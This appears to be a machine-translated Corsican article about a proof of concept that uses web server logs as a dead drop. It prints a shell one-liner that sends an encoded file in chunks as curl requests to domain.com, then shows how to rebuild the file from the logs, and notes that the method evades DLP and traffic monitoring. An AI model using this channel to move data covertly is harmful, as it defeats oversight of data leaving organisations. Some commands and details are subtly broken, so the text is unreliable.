Scambiu di missaghji sicreti via logs di u servitore

Sicondu a definizione di Wikipedia, una goccia morta hè un strumentu di cuspirazione chì serve per scambià infurmazioni o qualchi elementi trà e persone chì utilizanu un locu secretu. L'idea hè chì a ghjente ùn si scontra mai - ma anu sempre scambià infurmazioni per mantene a sicurezza operativa.

U locu nascostu ùn deve micca attirà l'attenzione. Per quessa, in u mondu offline spessu usanu cose discrete: un mattone scioltu in u muru, un libru di biblioteca, o un cavu in un arbre.

Ci hè parechje strumenti di criptografia è di anonimizazione in Internet, ma u fattu stessu di utilizà sti strumenti attrae l'attenzione. Inoltre, ponu esse bluccati à u livellu corporativu o di u guvernu. Chì fà ?

U sviluppatore Ryan Flowers hà prupostu una opzione interessante - Aduprate ogni servitore web cum'è un locu nasconde. Se pensate, chì face un servitore web? Riceve richieste, emette i schedari è scrive logs. È registra tutte e dumande, ancu quelli sbagliati!

Ci hè chì ogni servitore web permette di salvà quasi ogni missaghju in u logu. Flowers si dumandava cumu utilizà questu.

Ellu offre questa opzione:

  1. Pigliate un schedariu di testu (missaghju sicretu) è calculate l'hash (md5sum).
  2. L'avemu codificatu (gzip+uuencode).
  3. Scrivemu à u logu utilizendu una dumanda deliberatamente incorrecta à u servitore.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Per leghje un schedariu, avete bisognu di eseguisce queste operazioni in ordine inversu: decode è unzip u schedariu, verificate l'hash (u hash pò esse trasmessu in modu sicuru nantu à i canali aperti).

I spazii sò rimpiazzati cù =+=cusì chì ùn ci hè micca spazii in l'indirizzu. U prugramma, chì l'autore chjama CurlyTP, usa codificazione base64, cum'è allegati di email. A dumanda hè fatta cù una keyword ?transfer?cusì chì u destinatariu pò truvà facilmente in i logs.

Chì vedemu in i logs in questu casu?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Comu digià dettu, per riceve un missaghju sicretu, avete bisognu di fà l'operazioni in ordine inversu:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

U prucessu hè facile à automatizà. Md5sum matchs, è u cuntenutu di u schedariu cunfirmanu chì tuttu hè statu decodificatu currettamente.

U metudu hè assai sèmplice. "U puntu di questu esercitu hè solu per pruvà chì i fugliali ponu esse trasferiti per mezu di richieste web innocenti, è funziona in qualsiasi servitore web cù logs di testu chjaru. Essenzialmente, ogni servitore web hè un locu nasconde! ", scrive Flowers.

Di sicuru, u metudu funziona solu se u destinatariu hà accessu à i logs di u servitore. Ma tali accessu hè furnitu, per esempiu, da parechji hosters.

Cumu aduprà?

Ryan Flowers dice chì ùn hè micca un espertu di sicurità di l'infurmazioni è ùn compie micca una lista di usi pussibuli per CurlyTP. Per ellu, hè solu una prova di cuncettu chì l'arnesi familiari chì vedemu ogni ghjornu ponu esse aduprati in modu pocu cunvinziunali.

In fatti, stu metudu hà una quantità di vantaghji annantu à l'altri servitori "hides" cum'è Digital Dead Drop o PirateBox: ùn hà micca bisognu di cunfigurazione speciale in u latu di u servitore o qualsiasi protokolli speciali - è ùn suscitarà micca suspetti trà quelli chì monitoranu u trafficu. Hè improbabile chì un sistema SORM o DLP scanserà l'URL per i schedarii di testu compressi.

Questu hè unu di i modi per trasmette missaghji attraversu i schedarii di serviziu. Pudete ricurdà cumu si sò posti alcune cumpagnie avanzate Sviluppatore Jobs in HTTP Headers o in u codice di e pagine HTML.

Scambiu di missaghji sicreti via logs di u servitore

L'idea era chì solu i sviluppatori web vederanu questu ovu di Pasqua, postu chì una persona normale ùn guarda micca l'intestazione o u codice HTML.

Scambiu di missaghji sicreti via logs di u servitore

Source: www.habr.com

Add a comment